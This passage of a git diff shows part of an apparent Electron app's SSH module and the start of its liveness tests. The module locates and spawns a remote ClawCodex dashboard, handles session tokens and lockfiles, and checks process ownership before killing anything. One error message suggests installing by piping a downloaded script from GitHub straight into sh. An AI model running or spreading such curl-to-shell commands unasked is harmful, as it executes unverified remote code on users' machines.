+  return value
+}
+
+function ownershipDirectory(ownershipId) {
+  return `${REMOTE_LOCK_DIR}/${validateOwnershipId(ownershipId)}`
+}
+
+function lockfilePath(ownershipId) {
+  return `${ownershipDirectory(ownershipId)}/backend.lock.json`
+}
+
+function spawnLogPath(ownershipId, spawnNonce) {
+  return `${ownershipDirectory(ownershipId)}/${validateSpawnNonce(spawnNonce)}.log`
+}
+
+// shell-single-quote a value for safe interpolation into a remote command.
+function shq(value) {
+  return `'${String(value).replace(/'/g, `'\\''`)}'`
+}
+
+function validateRemotePath(p) {
+  const s = String(p || '')
+
+  if (!s) {
+    throw new Error('Remote path must not be empty.')
+  }
+
+  // eslint-disable-next-line no-control-regex -- deliberately reject NUL in remote paths
+  if (/[\x00\n\r]/.test(s)) {
+    throw new Error('Unsafe remote path: contains NUL or newline.')
+  }
+
+  if (s === '~' || s.startsWith('~/') || s.startsWith('/')) {
+    return
+  }
+
+  throw new Error(`Remote path must be absolute or start with ~/: "${s}"`)
+}
+
+function expandRemotePath(p) {
+  validateRemotePath(p)
+
+  if (p === '~') {
+    return '"$HOME"'
+  }
+
+  if (p.startsWith('~/')) {
+    return '"$HOME"' + shq(p.slice(1))
+  }
+
+  return shq(p)
+}
+
+// Resolve the remote clawcodex executable. An EXPLICIT path is honored strictly
+// (throws a path-naming error if not executable — never silently falls back to a
+// different install). A BLANK path auto-detects: login-shell `command -v` (a
+// non-login `ssh host cmd` PATH misses user installs), then known install paths.
+async function locateClawCodex(ssh, remoteClawCodexPath) {
+  const resolveLauncher = async (candidate: string) => {
+    const script =
+      'import os,shlex,sys\n' +
+      `p=os.path.expanduser(${shq(candidate)})\n` +
+      'out=p\n' +
+      'try:\n' +
+      ' data=open(p,"r",encoding="utf-8",errors="ignore").read(4096)\n' +
+      ' for line in data.splitlines():\n' +
+      '  words=shlex.split(line)\n' +
+      '  if len(words)>1 and words[0]=="exec":\n' +
+      '   target=os.path.expanduser(words[1])\n' +
+      '   if os.path.isabs(target) and os.access(target,os.X_OK):out=target\n' +
+      '   break\n' +
+      'except (OSError,ValueError):pass\n' +
+      'print(out)'
+
+    const resolved = (await ssh.exec(`python3 -c ${shq(script)}`)).trim()
+
+    return resolved || candidate
+  }
+
+  const isExecutable = async (candidate: string) => {
+    try {
+      validateRemotePath(candidate)
+      const ok = (await ssh.exec(`[ -x ${expandRemotePath(candidate)} ] && echo OK || true`)).trim()
+
+      return ok === 'OK'
+    } catch {
+      return false
+    }
+  }
+
+  if (remoteClawCodexPath) {
+    if (await isExecutable(remoteClawCodexPath)) {
+      return resolveLauncher(remoteClawCodexPath)
+    }
+
+    const err: any = new Error(
+      `The ClawCodex path you set is not an executable on the remote host: "${remoteClawCodexPath}". ` +
+        'Check the path (it must be the full path to the `clawcodex` binary on the remote, e.g. ' +
+        '~/clawcodex/.venv/bin/clawcodex), or clear it to auto-detect.'
+    )
+
+    err.kind = 'clawcodex-not-found'
+    throw err
+  }
+
+  const candidates: string[] = []
+
+  try {
+    const found = (await ssh.exec(`bash -lc ${shq('command -v clawcodex')}`)).trim()
+
+    if (found) {
+      candidates.push(found.split('\n').pop().trim())
+    }
+  } catch {
+    // ignore
+  }
+
+  // Fallback candidates when the login-shell probe misses: the installer's
+  // command locations (scripts/install.sh) — per-user, root/FHS, legacy venv.
+  candidates.push('~/.local/bin/clawcodex')
+  candidates.push('/usr/local/bin/clawcodex')
+  candidates.push('~/.clawcodex/clawcodex/venv/bin/clawcodex')
+
+  for (const candidate of candidates) {
+    if (!candidate) {
+      continue
+    }
+
+    if (await isExecutable(candidate)) {
+      return resolveLauncher(candidate)
+    }
+  }
+
+  const err: any = new Error(
+    'ClawCodex is not installed on the remote host (could not find a `clawcodex` executable). ' +
+      'Install it on the remote with:  curl -fsSL https://github.com/agentforce314/clawcodex/install.sh | sh  ' +
+      '— or set the ClawCodex path explicitly in the SSH connection settings.'
+  )
+
+  err.kind = 'clawcodex-not-found'
+  throw err
+}
+
+// Probe the resolved binary's version string (first line of `<clawcodex> --version`,
+// e.g. "ClawCodex v0.18.2 ..."), or '' on failure. Surfaces WHICH clawcodex a
+// connection uses, so a stale/unexpected install is visible.
+async function probeClawCodexVersion(ssh, clawcodexPath) {
+  try {
+    const out = (await ssh.exec(`${expandRemotePath(clawcodexPath)} --version 2>&1`)).trim()
+
+    return (out.split('\n')[0] || '').trim()
+  } catch {
+    return ''
+  }
+}
+
+async function probeRemotePlatform(ssh) {
+  const out = (await ssh.exec('uname -s; uname -m')).trim().split('\n')
+  const osName = (out[0] || '').trim()
+  const arch = (out[1] || '').trim()
+
+  if (!SUPPORTED_REMOTE_OS.has(osName)) {
+    const err: any = new Error(
+      `Unsupported remote platform "${osName || 'unknown'}". ClawCodex Desktop SSH mode supports Linux, macOS, and Windows remote hosts.`
+    )
+
+    err.kind = 'unsupported-platform'
+    throw err
+  }
+
+  return { os: osName, arch }
+}
+
+// The CLAWCODEX_CONFIG_DIR the remote dashboard will use (explicit env wins, else
+// ~/.clawcodex). Recorded in the lockfile so a future reuse can tell it's the same
+// state store; best-effort.
+async function probeRemoteClawCodexHome(ssh) {
+  try {
+    const out = (await ssh.exec('echo "${CLAWCODEX_CONFIG_DIR:-$HOME/.clawcodex}"')).trim().split('\n').pop()
+
+    return out || '~/.clawcodex'
+  } catch (cause) {
+    const error: any = new Error('Could not resolve the remote ClawCodex home.')
+    error.kind = 'transient-transport-error'
+    error.cause = cause
+    throw error
+  }
+}
+
+async function readLockfile(ssh, ownershipId) {
+  const lpath = lockfilePath(ownershipId)
+  let raw
+
+  try {
+    raw = await ssh.exec(`if [ ! -e ${expandRemotePath(lpath)} ]; then exit 0; fi; cat ${expandRemotePath(lpath)}`)
+  } catch (cause) {
+    const error: any = new Error('Could not read the SSH backend ownership record.')
+    error.kind = 'transient-transport-error'
+    error.cause = cause
+    throw error
+  }
+
+  const text = String(raw || '').trim()
+
+  if (!text) {
+    return null
+  }
+
+  let parsed
+
+  try {
+    parsed = JSON.parse(text)
+  } catch {
+    return null
+  }
+
+  if (!parsed || parsed.schemaVersion !== LOCKFILE_SCHEMA_VERSION) {
+    return null
+  }
+
+  const pid = parsed.pid
+  const port = parsed.port
+
+  if (!Number.isInteger(pid) || pid <= 0 || pid > 4194304) {
+    return null
+  }
+
+  // port 0 = spawn-in-progress record (written before readiness); valid
+  // ownership proof for cleanup, but never reusable.
+  if (!Number.isInteger(port) || port < 0 || port > 65535) {
+    return null
+  }
+
+  if (parsed.ownershipId !== ownershipId || !/^[0-9a-f]{16}$/.test(parsed.spawnNonce || '')) {
+    return null
+  }
+
+  if (!/^[0-9a-f]{32}$/.test(parsed.tokenFingerprint || '')) {
+    return null
+  }
+
+  if (parsed.protocolVersion !== PROTOCOL_VERSION) {
+    return null
+  }
+
+  if (parsed.logPath !== spawnLogPath(ownershipId, parsed.spawnNonce)) {
+    return null
+  }
+
+  for (const field of ['profile', 'clawcodexPath', 'clawcodexHome', 'logPath', 'startedAt']) {
+    if (typeof parsed[field] !== 'string' || parsed[field].length > 1024) {
+      return null
+    }
+  }
+
+  return parsed
+}
+
+async function writeLockfile(ssh, ownershipId, lock) {
+  const directory = ownershipDirectory(ownershipId)
+  const lpath = lockfilePath(ownershipId)
+  const temporaryPath = `${directory}/.${crypto.randomBytes(8).toString('hex')}.lock.tmp`
+  const json = JSON.stringify({ ...lock, schemaVersion: LOCKFILE_SCHEMA_VERSION })
+  await ssh.exec(
+    `umask 077 && mkdir -p ${expandRemotePath(directory)} && ` +
+      `printf '%s' ${shq(json)} > ${expandRemotePath(temporaryPath)} && ` +
+      `mv -f ${expandRemotePath(temporaryPath)} ${expandRemotePath(lpath)}`
+  )
+}
+
+async function removeLockfile(ssh, ownershipId) {
+  const lpath = lockfilePath(ownershipId)
+
+  try {
+    await ssh.exec(`rm -f ${expandRemotePath(lpath)}`)
+  } catch {
+    // best effort
+  }
+}
+
+async function remotePidAlive(ssh, pid) {
+  if (!pid || !Number.isInteger(Number(pid))) {
+    return false
+  }
+
+  try {
+    const out = (await ssh.exec(`kill -0 ${Number(pid)} 2>/dev/null && echo ALIVE || echo DEAD`)).trim()
+
+    return out === 'ALIVE'
+  } catch (cause) {
+    const error: any = new Error('Could not verify the SSH backend process.')
+    error.kind = 'transient-transport-error'
+    error.cause = cause
+    throw error
+  }
+}
+
+// A pid is "provably ours" only if its remote cmdline carries our dashboard
+// args — never kill a pid we can't positively identify as our dashboard.
+async function pidIsOurDashboard(ssh, pid, spawnNonce, clawcodexPath = '') {
+  if (!pid || !/^[0-9a-f]{16}$/.test(String(spawnNonce || '')) || !clawcodexPath) {
+    return false
+  }
+
+  try {
+    const script =
+      'import os,shlex,subprocess,sys\n' +
+      `pid=${Number(pid)}\n` +
+      `expected=os.path.expanduser(${shq(clawcodexPath)})\n` +
+      `nonce=${shq(spawnNonce)}\n` +
+      'try:\n' +
+      ' raw=open(f"/proc/{pid}/cmdline","rb").read()\n' +
+      ' args=[x.decode("utf-8","surrogateescape") for x in raw.split(b"\\0") if x]\n' +
+      'except OSError:\n' +
+      ' line=subprocess.check_output(["ps","-o","command=","-p",str(pid)],text=True).strip()\n' +
+      ' args=shlex.split(line)\n' +
+      'ok=False\n' +
+      'try:\n' +
+      ' serve=args.index("serve")\n' +
+      ' owner=args.index("--ssh-owner-nonce",serve+1)\n' +
+      ' direct=args[0]==expected\n' +
+      ' python_entry=len(args)>1 and args[1]==expected and os.path.basename(args[0]).startswith("python")\n' +
+      ' ok=(direct or python_entry) and "--isolated" in args[serve+1:] and args[owner+1]==nonce\n' +
+      'except (ValueError,IndexError):pass\n' +
+      'print("OWNED" if ok else "FOREIGN")'
+
+    const out = await ssh.exec(`python3 -c ${shq(script)}`)
+
+    return String(out || '').trim() === 'OWNED'
+  } catch (cause) {
+    const error: any = new Error('Could not verify SSH backend process ownership.')
+    error.kind = 'transient-transport-error'
+    error.cause = cause
+    throw error
+  }
+}
+
+// Kill the stale dashboard ONLY if provably ours, then drop the lockfile.
+async function cleanupStale(ssh, ownershipId, lock, pidAlive = true) {
+  if (pidAlive && lock && (await pidIsOurDashboard(ssh, lock.pid, lock.spawnNonce, lock.clawcodexPath))) {
+    try {
+      const result = (
+        await ssh.exec(
+          `kill ${Number(lock.pid)} && ` +
+            `i=0; while kill -0 ${Number(lock.pid)} 2>/dev/null; do ` +
+            `i=$((i+1)); [ "$i" -ge 50 ] && exit 1; sleep 0.1; done`
+        )
+      ).trim()
+
+      void result
+    } catch (cause) {
+      const error: any = new Error('Could not terminate the stale SSH backend.')
+      error.kind = 'transient-transport-error'
+      error.cause = cause
+      throw error
+    }
+  }
+
+  const expectedLogPath = lock?.spawnNonce ? spawnLogPath(ownershipId, lock.spawnNonce) : ''
+
+  if (lock?.logPath === expectedLogPath) {
+    try {
+      await ssh.exec(`rm -f ${expandRemotePath(lock.logPath)}`)
+    } catch {
+      void 0
+    }
+  }
+
+  await removeLockfile(ssh, ownershipId)
+}
+
+// Detach so the backend survives the SSH channel closing: setsid (Linux)
+// starts a new session; macOS has no setsid, so fall back to nohup (HUP-immune;
+// fd-detachment is already handled by </dev/null + redirect + &).
+function buildSpawnCommand(clawcodexPath, profile, opts: any = {}) {
+  const clawcodex = expandRemotePath(clawcodexPath)
+  const profileArgs = profile ? `--profile ${shq(profile)} ` : ''
+  const logPath = expandRemotePath(opts.logPath)
+  const tokenFilePath = opts.tokenFilePath
+  const tokenArg = tokenFilePath ? ` --ssh-session-token-file ${expandRemotePath(tokenFilePath)}` : ''
+  const ownerArg = opts.spawnNonce ? ` --ssh-owner-nonce ${validateSpawnNonce(opts.spawnNonce)}` : ''
+  const subCmd = `serve --isolated --host 127.0.0.1 --port 0${tokenArg}${ownerArg}`
+  const dashCmd = `env CLAWCODEX_DESKTOP=1 ${clawcodex} ${profileArgs}${subCmd}`
+
+  return (
+    `mkdir -p "$(dirname ${logPath})" && ` +
+    `"$(command -v setsid || echo nohup)" sh -c ${shq(`${dashCmd} </dev/null >> ${logPath} 2>&1 & echo $!`)}`
+  )
+}
+
+async function remoteSupportsSshOwnership(ssh, clawcodexPath) {
+  const clawcodex = expandRemotePath(clawcodexPath)
+
+  const out = await ssh.exec(
+    `help="$(${clawcodex} serve --help 2>&1)"; ` +
+      `printf '%s' "$help" | grep -q ssh-session-token-file && ` +
+      `printf '%s' "$help" | grep -q ssh-owner-nonce && echo YES || echo NO`
+  )
+
+  return String(out || '')
+    .trim()
+    .endsWith('YES')
+}
+
+async function scrapeReadyPort(ssh, logPath, { timeoutMs = DEFAULT_READY_TIMEOUT_MS, isAlive, signal }: any = {}) {
+  const deadline = Date.now() + timeoutMs
+  const remoteLog = expandRemotePath(logPath)
+
+  while (Date.now() < deadline) {
+    assertNotAborted(signal)
+
+    if (isAlive && !(await isAlive())) {
+      const err: any = new Error('Remote dashboard process exited before announcing its port.')
+      err.kind = 'spawn-failed'
+      throw err
+    }
+
+    let tail
+
+    try {
+      tail = await ssh.exec(`cat ${remoteLog} 2>/dev/null || true`)
+    } catch {
+      tail = ''
+    }
+
+    const m = READY_RE.exec(String(tail || ''))
+
+    if (m) {
+      return parseInt(m[1], 10)
+    }
+
+    await new Promise(r => setTimeout(r, READY_POLL_INTERVAL_MS))
+  }
+
+  const err: any = new Error(`Timed out waiting for the remote dashboard to announce its port (${timeoutMs}ms).`)
+  err.kind = 'ready-timeout'
+  throw err
+}
+
+async function spawnRemoteDashboard(ssh, { clawcodexPath, profile, token, ownershipId }) {
+  if (!(await remoteSupportsSshOwnership(ssh, clawcodexPath))) {
+    const err: any = new Error(
+      'The remote ClawCodex install does not support --ssh-session-token-file and --ssh-owner-nonce. ' +
+        'Update ClawCodex on the remote host to continue using Desktop SSH mode.'
+    )
+
+    err.kind = 'update-required'
+    throw err
+  }
+
+  const spawnNonce = crypto.randomBytes(8).toString('hex')
+  const tokenDir = ownershipDirectory(ownershipId)
+  const tokenFilePath = `${tokenDir}/${spawnNonce}.token`
+  const logPath = spawnLogPath(ownershipId, spawnNonce)
+
+  const tokenUploadPy =
+    'import os,sys,stat\n' +
+    `p=os.path.expanduser(${shq(tokenFilePath)})\n` +
+    'd=os.path.dirname(p)\n' +
+    'n=os.path.basename(p)\n' +
+    'os.makedirs(d,mode=0o700,exist_ok=True)\n' +
+    'df=os.O_RDONLY|getattr(os,"O_DIRECTORY",0)|getattr(os,"O_NOFOLLOW",0)\n' +
+    'dd=os.open(d,df)\n' +
+    'try:\n' +
+    ' s=os.fstat(dd)\n' +
+    ' if not stat.S_ISDIR(s.st_mode):raise SystemExit("unsafe token directory")\n' +
+    ' if hasattr(os,"getuid") and s.st_uid!=os.getuid():raise SystemExit("token directory owner mismatch")\n' +
+    ' if (s.st_mode&0o777)!=0o700:os.fchmod(dd,0o700)\n' +
+    ' fl=os.O_WRONLY|os.O_CREAT|os.O_EXCL|getattr(os,"O_NOFOLLOW",0)\n' +
+    ' now=__import__("time").time()\n' +
+    ' for stale in os.listdir(dd):\n' +
+    '  if stale.endswith(".token") and len(stale)==22:\n' +
+    '   try:\n' +
+    '    ss=os.stat(stale,dir_fd=dd,follow_symlinks=False)\n' +
+    '    if stat.S_ISREG(ss.st_mode) and now-ss.st_mtime>3600:os.unlink(stale,dir_fd=dd)\n' +
+    '   except OSError:pass\n' +
+    ' fd=os.open(n,fl,0o600,dir_fd=dd)\n' +
+    ' try:os.write(fd,sys.stdin.buffer.read())\n' +
+    ' except BaseException:\n' +
+    '  try:os.unlink(n,dir_fd=dd)\n' +
+    '  except OSError:pass\n' +
+    '  raise\n' +
+    ' finally:os.close(fd)\n' +
+    'finally:os.close(dd)'
+
+  try {
+    await ssh.exec(`python3 -c ${shq(tokenUploadPy)}`, { stdinData: token })
+  } catch (error) {
+    try {
+      await ssh.exec(`rm -f ${expandRemotePath(tokenFilePath)}`)
+    } catch {
+      void 0
+    }
+
+    throw error
+  }
+
+  let out
+
+  try {
+    out = await ssh.exec(buildSpawnCommand(clawcodexPath, profile, { spawnNonce, tokenFilePath, logPath }))
+  } catch (error) {
+    try {
+      await ssh.exec(`rm -f ${expandRemotePath(tokenFilePath)}`)
+    } catch {
+      void 0
+    }
+
+    throw error
+  }
+
+  const pid = parseInt(
+    String(out || '')
+      .trim()
+      .split('\n')
+      .pop(),
+    10
+  )
+
+  if (!Number.isInteger(pid) || pid <= 0) {
+    try {
+      await ssh.exec(`rm -f ${expandRemotePath(tokenFilePath)}`)
+    } catch {
+      void 0
+    }
+
+    const err: any = new Error('Failed to launch the remote dashboard (no pid returned).')
+    err.kind = 'spawn-failed'
+    throw err
+  }
+
+  return { pid, spawnNonce, logPath, tokenFilePath }
+}
+
+// Best-effort forward teardown when a reuse attempt fails mid-flight, so we
+// don't leak a forward before respawning. `deps.cancelForward` is optional.
+async function cancelForwardSafe(deps, localPort, remotePort) {
+  if (typeof deps.cancelForward !== 'function') {
+    return
+  }
+
+  try {
+    await deps.cancelForward(localPort, remotePort)
+  } catch {
+    // best effort
+  }
+}
+
+function assertNotAborted(signal) {
+  if (signal?.aborted) {
+    const error: any = new Error('SSH bootstrap was cancelled.')
+    error.kind = 'superseded'
+    throw error
+  }
+}
+
+function isForwardBindCollision(error) {
+  return /address already in use|cannot listen to port|bind.*failed/i.test(String(error?.message || error || ''))
+}
+
+async function openForward(deps, remotePort, attempts = 3) {
+  let lastError
+
+  for (let attempt = 0; attempt < attempts; attempt++) {
+    const localPort = await deps.pickLocalPort()
+
+    try {
+      await deps.forward(localPort, remotePort)
+
+      return localPort
+    } catch (error) {
+      lastError = error
+
+      if (!isForwardBindCollision(error) || attempt === attempts - 1) {
+        throw error
+      }
+    }
+  }
+
+  throw lastError
+}
+
+/**
+ * Establish (or reuse) a remote dashboard and a tunnel to it. `deps` injects the
+ * opened SshConnection, forward/pickLocalPort/waitForClawCodex, a token-gated
+ * probeReuseProof, and adoptServedToken. Returns the connection descriptor
+ * { baseUrl, token, tokenFingerprint, remotePort, localPort, pid, reused, platform }.
+ */
+async function adoptOwnedServedToken(adoptServedToken, baseUrl, expectedToken, ssh, pid, label) {
+  const token = await adoptServedToken(baseUrl, expectedToken, {
+    childAlive: () => true,
+    label
+  })
+
+  if (!(await remotePidAlive(ssh, pid))) {
+    const error: any = new Error(`${label} exited while its served token was being resolved.`)
+    error.kind = token === expectedToken ? 'spawn-failed' : 'foreign-backend'
+    throw error
+  }
+
+  return token
+}
+
+async function connect(deps) {
+  const {
+    ssh,
+    profile = '',
+    remoteClawCodexPath = '',
+    ownershipId,
+    forward,
+    pickLocalPort,
+    waitForClawCodex,
+    probeReuseProof,
+    adoptServedToken,
+    rememberLog = () => {},
+    readyTimeoutMs = DEFAULT_READY_TIMEOUT_MS,
+    signal
+  } = deps
+
+  const log = msg => rememberLog(`[ssh-lifecycle] ${msg}`)
+
+  assertNotAborted(signal)
+  const platform = await probeRemotePlatform(ssh)
+  log(`remote platform ${platform.os}/${platform.arch}`)
+  const clawcodexPath = await locateClawCodex(ssh, remoteClawCodexPath)
+  log(`located clawcodex at ${clawcodexPath}`)
+  const clawcodexVersion = await probeClawCodexVersion(ssh, clawcodexPath)
+
+  if (clawcodexVersion) {
+    log(`remote clawcodex version: ${clawcodexVersion}`)
+  }
+
+  const reuseToken = deps.reuseToken || ''
+  const clawcodexHome = await probeRemoteClawCodexHome(ssh)
+  const lock = await readLockfile(ssh, ownershipId)
+
+  if (lock) {
+    const pidAlive = await remotePidAlive(ssh, lock.pid)
+    const owned = pidAlive && (await pidIsOurDashboard(ssh, lock.pid, lock.spawnNonce, lock.clawcodexPath))
+
+    const reusable =
+      pidAlive &&
+      owned &&
+      lock.port > 0 &&
+      lock.profile === profile &&
+      Boolean(reuseToken) &&
+      lock.tokenFingerprint === fingerprintToken(reuseToken) &&
+      lock.clawcodexPath === clawcodexPath &&
+      lock.clawcodexHome === clawcodexHome
+
+    if (reusable) {
+      assertNotAborted(signal)
+      const localPort = await openForward(deps, lock.port)
+
+      try {
+        const baseUrl = `http://127.0.0.1:${localPort}`
+        let reuseClassification
+
+        try {
+          reuseClassification = await probeReuseProof(baseUrl, reuseToken, lock.spawnNonce)
+        } catch (cause) {
+          const error: any = new Error('Could not verify the existing SSH backend.')
+          error.kind = 'transient-transport-error'
+          error.cause = cause
+          throw error
+        }
+
+        if (reuseClassification === 'authenticated-stale') {
+          assertNotAborted(signal)
+          await cancelForwardSafe(deps, localPort, lock.port)
+          await cleanupStale(ssh, ownershipId, lock)
+        } else if (reuseClassification === 'authenticated-ok') {
+          const token = await adoptOwnedServedToken(
+            adoptServedToken,
+            baseUrl,
+            reuseToken,
+            ssh,
+            lock.pid,
+            'reused remote dashboard'
+          )
+
+          assertNotAborted(signal)
+          log(`reusing remote dashboard pid=${lock.pid} port=${lock.port}`)
+
+          return {
+            baseUrl,
+            token,
+            tokenFingerprint: fingerprintToken(token),
+            remotePort: lock.port,
+            localPort,
+            pid: lock.pid,
+            reused: true,
+            platform,
+            clawcodexPath,
+            clawcodexVersion,
+            ownershipId,
+            spawnNonce: lock.spawnNonce,
+            logPath: lock.logPath
+          }
+        } else {
+          const error: any = new Error('SSH reuse proof returned an invalid classification.')
+          error.kind = 'transient-transport-error'
+          throw error
+        }
+      } catch (error) {
+        await cancelForwardSafe(deps, localPort, lock.port)
+        throw error
+      }
+    } else {
+      assertNotAborted(signal)
+      await cleanupStale(ssh, ownershipId, lock, pidAlive)
+    }
+  }
+
+  assertNotAborted(signal)
+  const spawnToken = mintToken()
+
+  const { pid, spawnNonce, logPath, tokenFilePath } = await spawnRemoteDashboard(ssh, {
+    clawcodexPath,
+    profile,
+    token: spawnToken,
+    ownershipId
+  })
+
+  log(`spawned remote dashboard pid=${pid}`)
+
+  const ownedSpawn = {
+    ownershipId,
+    spawnNonce,
+    pid,
+    port: 0,
+    profile,
+    clawcodexPath,
+    clawcodexHome,
+    logPath,
+    tokenFingerprint: fingerprintToken(spawnToken),
+    protocolVersion: PROTOCOL_VERSION,
+    startedAt: new Date().toISOString()
+  }
+
+  let localPort = 0
+  let remotePort = 0
+
+  try {
+    // Write the ownership record IMMEDIATELY (port=0): a supersede between
+    // spawn and readiness whose cleanup cannot reach the box must not leave a
+    // lockless orphan — the next connect reaps it by exact ownership via this
+    // record. Inside the try: if this write itself fails, the catch still
+    // kills the just-spawned process via the in-memory record.
+    await writeLockfile(ssh, ownershipId, ownedSpawn)
+    remotePort = await scrapeReadyPort(ssh, logPath, {
+      timeoutMs: readyTimeoutMs,
+      isAlive: () => remotePidAlive(ssh, pid),
+      signal
+    })
+    assertNotAborted(signal)
+    log(`remote dashboard bound port ${remotePort}`)
+
+    localPort = await openForward(deps, remotePort)
+    assertNotAborted(signal)
+    const baseUrl = `http://127.0.0.1:${localPort}`
+    await waitForClawCodex(baseUrl, spawnToken)
+    assertNotAborted(signal)
+
+    const token = await adoptOwnedServedToken(adoptServedToken, baseUrl, spawnToken, ssh, pid, 'remote dashboard')
+
+    assertNotAborted(signal)
+    const tokenFingerprint = fingerprintToken(token)
+    await writeLockfile(ssh, ownershipId, { ...ownedSpawn, port: remotePort, tokenFingerprint })
+    assertNotAborted(signal)
+
+    return {
+      baseUrl,
+      token,
+      tokenFingerprint,
+      remotePort,
+      localPort,
+      pid,
+      reused: false,
+      platform,
+      clawcodexPath,
+      clawcodexVersion,
+      ownershipId,
+      spawnNonce,
+      logPath
+    }
+  } catch (error) {
+    if (localPort && remotePort) {
+      await cancelForwardSafe(deps, localPort, remotePort)
+    }
+
+    try {
+      await ssh.exec(`rm -f ${expandRemotePath(tokenFilePath)}`)
+    } catch {
+      void 0
+    }
+
+    await cleanupStale(ssh, ownershipId, ownedSpawn)
+    throw error
+  }
+}
+
+export {
+  adoptOwnedServedToken,
+  buildSpawnCommand,
+  cleanupStale,
+  connect,
+  DEFAULT_READY_TIMEOUT_MS,
+  expandRemotePath,
+  fingerprintToken,
+  isForwardBindCollision,
+  locateClawCodex,
+  LOCKFILE_SCHEMA_VERSION,
+  lockfilePath,
+  mintToken,
+  openForward,
+  ownershipDirectory,
+  pidIsOurDashboard,
+  probeClawCodexVersion,
+  probeRemoteClawCodexHome,
+  probeRemotePlatform,
+  PROTOCOL_VERSION,
+  readLockfile,
+  READY_RE,
+  REMOTE_LOCK_DIR,
+  remotePidAlive,
+  remoteSupportsSshOwnership,
+  removeLockfile,
+  scrapeReadyPort,
+  shq,
+  spawnLogPath,
+  spawnRemoteDashboard,
+  SUPPORTED_REMOTE_OS,
+  validateRemotePath,
+  writeLockfile
+}
diff --git a/ui-desktop/electron/remote-liveness.test.ts b/ui-desktop/electron/remote-liveness.test.ts
new file mode 100644
index 000000000..950d6fb1f
--- /dev/null
+++ b/ui-desktop/electron/remote-liveness.test.ts
@@ -0,0 +1,353 @@
+import { describe, expect, it, vi } from 'vitest'
+
+import {
+  REMOTE_LIVENESS_FAILURE_LIMIT,
+  REMOTE_LIVENESS_FAILURE_WINDOW_MS,
+  REMOTE_LIVENESS_TIMEOUT_MS,
+  RemoteLivenessTracker,
+  RemoteRevalidationCoordinator,
+  revalidatePooledRemoteBackends,
+  revalidateRemoteConnection
+} from './remote-liveness'
+
+describe('RemoteLivenessTracker', () => {
+  it('requires consecutive failures before resetting a connection', () => {
+    const tracker = new RemoteLivenessTracker()
+
+    for (let failures = 1; failures < REMOTE_LIVENESS_FAILURE_LIMIT; failures += 1) {
+      expect(tracker.recordFailure('https://gateway.example.com')).toEqual({ failures, shouldReset: false })
+    }
+
+    expect(tracker.recordFailure('https://gateway.example.com')).toEqual({
+      failures: REMOTE_LIVENESS_FAILURE_LIMIT,
+      shouldReset: true
+    })
+  })
+
+  it('clears a failure streak after a successful probe', () => {
+    const tracker = new RemoteLivenessTracker()
+
+    tracker.recordFailure('https://gateway.example.com')
+    tracker.recordFailure('https://gateway.example.com')
+    tracker.recordSuccess('https://gateway.example.com')
+
+    expect(tracker.recordFailure('https://gateway.example.com')).toEqual({ failures: 1, shouldReset: false })
+  })
+
+  it('tracks different gateways independently', () => {
+    const tracker = new RemoteLivenessTracker(2)
+
+    expect(tracker.recordFailure('https://one.example.com')).toEqual({ failures: 1, shouldReset: false })
+    expect(tracker.recordFailure('https://two.example.com')).toEqual({ failures: 1, shouldReset: false })
+    expect(tracker.recordFailure('https://one.example.com')).toEqual({ failures: 2, shouldReset: true })
+    expect(tracker.recordFailure('https://two.example.com')).toEqual({ failures: 2, shouldReset: true })
+  })
+
+  it('clears only the successful gateway streak', () => {
+    const tracker = new RemoteLivenessTracker(3)
+
+    tracker.recordFailure('https://one.example.com')
+    tracker.recordFailure('https://two.example.com')
+    tracker.recordSuccess('https://one.example.com')
+
+    expect(tracker.recordFailure('https://one.example.com')).toEqual({ failures: 1, shouldReset: false })
+    expect(tracker.recordFailure('https://two.example.com')).toEqual({ failures: 2, shouldReset: false })
+  })
+
+  it('does not accumulate isolated failures across separate reconnect episodes', () => {
+    let now = 0
+    const tracker = new RemoteLivenessTracker(3, REMOTE_LIVENESS_FAILURE_WINDOW_MS, () => now)
+
+    expect(tracker.recordFailure('https://gateway.example.com')).toEqual({ failures: 1, shouldReset: false })
+    now += REMOTE_LIVENESS_FAILURE_WINDOW_MS + 1
+    expect(tracker.recordFailure('https://gateway.example.com')).toEqual({ failures: 1, shouldReset: false })
+  })
+
+  it('clears all failure streaks when the connection state resets', () => {
+    const tracker = new RemoteLivenessTracker(3)
+
+    tracker.recordFailure('https://one.example.com')
+    tracker.recordFailure('https://two.example.com')
+    tracker.clear()
+
+    expect(tracker.recordFailure('https://one.example.com')).toEqual({ failures: 1, shouldReset: false })
+    expect(tracker.recordFailure('https://two.example.com')).toEqual({ failures: 1, shouldReset: false })
+  })
+
+  it('starts a fresh streak after the reset threshold is consumed', () => {
+    const tracker = new RemoteLivenessTracker(1)
+
+    expect(tracker.recordFailure('https://gateway.example.com')).toEqual({ failures: 1, shouldReset: true })
+    expect(tracker.recordFailure('https://gateway.example.com')).toEqual({ failures: 1, shouldReset: true })
+  })
+
+  it('rejects invalid failure limits', () => {
+    expect(() => new RemoteLivenessTracker(0)).toThrow(/positive integer/i)
+    expect(() => new RemoteLivenessTracker(1.5)).toThrow(/positive integer/i)
+    expect(() => new RemoteLivenessTracker(1, 0)).toThrow(/window must be positive/i)
+  })
+})
+
+describe('RemoteRevalidationCoordinator', () => {
+  it('coalesces simultaneous probes for the same cached connection', async () => {
+    const coordinator = new RemoteRevalidationCoordinator()
+    const connection = Promise.resolve({ baseUrl: 'https://gateway.example.com' })
+    let resolveProbe: (value: string) => void = () => undefined
+
+    const probe = vi.fn(
+      () =>
+        new Promise<string>(resolve => {
+          resolveProbe = resolve
+        })
+    )
+
+    const first = coordinator.run(connection, probe)
+    const second = coordinator.run(connection, probe)
+    const third = coordinator.run(connection, probe)
+
+    await Promise.resolve()
+
+    expect(second).toBe(first)
+    expect(third).toBe(first)
+    expect(probe).toHaveBeenCalledOnce()
+
+    resolveProbe('healthy')
+    await expect(Promise.all([first, second, third])).resolves.toEqual(['healthy', 'healthy', 'healthy'])
+  })
+
+  it('runs a fresh probe after the prior one settles', async () => {
+    const coordinator = new RemoteRevalidationCoordinator()
+    const connection = Promise.resolve({ baseUrl: 'https://gateway.example.com' })
+    const probe = vi.fn().mockResolvedValue('healthy')
+
+    await coordinator.run(connection, probe)
+    await coordinator.run(connection, probe)
+
+    expect(probe).toHaveBeenCalledTimes(2)
+  })
+
+  it('does not coalesce different cached connections', async () => {
+    const coordinator = new RemoteRevalidationCoordinator()
+    const probe = vi.fn().mockResolvedValue('healthy')
+
+    await Promise.all([coordinator.run(Promise.resolve('one'), probe), coordinator.run(Promise.resolve('two'), probe)])
+
+    expect(probe).toHaveBeenCalledTimes(2)
+  })
+
